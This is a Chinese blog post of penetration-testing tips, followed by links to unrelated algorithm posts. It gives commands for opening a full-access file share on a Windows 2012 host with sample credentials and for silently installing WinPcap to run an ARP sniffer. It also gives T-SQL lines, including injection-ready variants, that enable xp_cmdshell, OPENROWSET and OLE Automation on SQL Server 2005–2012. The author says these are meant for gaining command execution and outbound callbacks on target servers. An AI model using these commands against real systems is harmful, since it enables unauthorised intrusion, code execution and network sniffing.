zoukankan      html  css  js  c++  java
  • 关于渗透的小技巧整理

    1、win2012下面访问文件共享的方法,由于2012只能通过administrator用户才能访问\10.100.2.19c$,其它管理组用户只能通过下列方式来访问:

    mkdir c:temp
    net share temp=c:	emp /GRANT:everyone,FULL //将c:temp共享为temp
    访问:\10.100.2.19	emp //test11/12345678
    net share temp /del /y

    2、命令行下安装winpcap的方法:用官方的winpcap是不行的。但是今天我发现用nmap里自带的winpcap-nmap-4.02.exe居然可以。哈哈。参数是winpcap-nmap-4.02.exe /S,然后再用你给我的那个命令行下的arp嗅探工具就行了。这样就不必需要每次都3389安装winpcap了。

    3、SQL2005-2012开启选项的一些方法整理:
    sql server 2005下开启xp_cmdshell的办法

    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
    //关闭一样.只是将上面的后面的那个"1"改成"0"就可以了:
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;

    sql2005下,xp_cmdshell、sp_oA的开启方法我查到资料了,我都已经开启了,浏览器返回正常,执行命令不会再出现权限错误,但是执行“sp_oA”时会出现超时提示,执行“xp_cmdshell“时,本地监听无反应,这些我在提问贴里已经说明了,不知道是不是防火墙阻止了ping、tftp 和telnet的对外连接,我实在是找不到好的得到这个SQL2005的IP的办法了.
    SQL2005开启'OPENROWSET'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
    exec sp_configure [show advanced options],1;RECONFIGURE;exec sp_configure [Ad Hoc Distributed Queries],1;RECONFIGURE;--
    ;exec sp_configure "show advanced options", 1;RECONFIGURE;exec sp_configure "Ad Hoc Distributed Queries",1;RECONFIGURE;--

    SQL2005开启'sp_oacreate'支持的方法:

    exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
  • 相关阅读:
    堆的应用
    1155 Heap Paths (30 分)(堆+dfs遍历)
    1099 Build A Binary Search Tree (30 分)(查找二叉树)
    1064 Complete Binary Search Tree (30 分)(二叉查找树)
    1043 Is It a Binary Search Tree (25 分)(二叉查找树)
    1053 Path of Equal Weight (30 分)(树的遍历)
    1106 Lowest Price in Supply Chain (25 分)(树的遍历)
    洛谷P1031均分纸牌(贪心平均数)
    洛谷P1045麦森数(高精度乘法)
    洛谷P1255数楼梯(大数,高精度加法)
  • 原文地址:https://www.cnblogs.com/pt007/p/11860898.html
Copyright © 2011-2022 走看看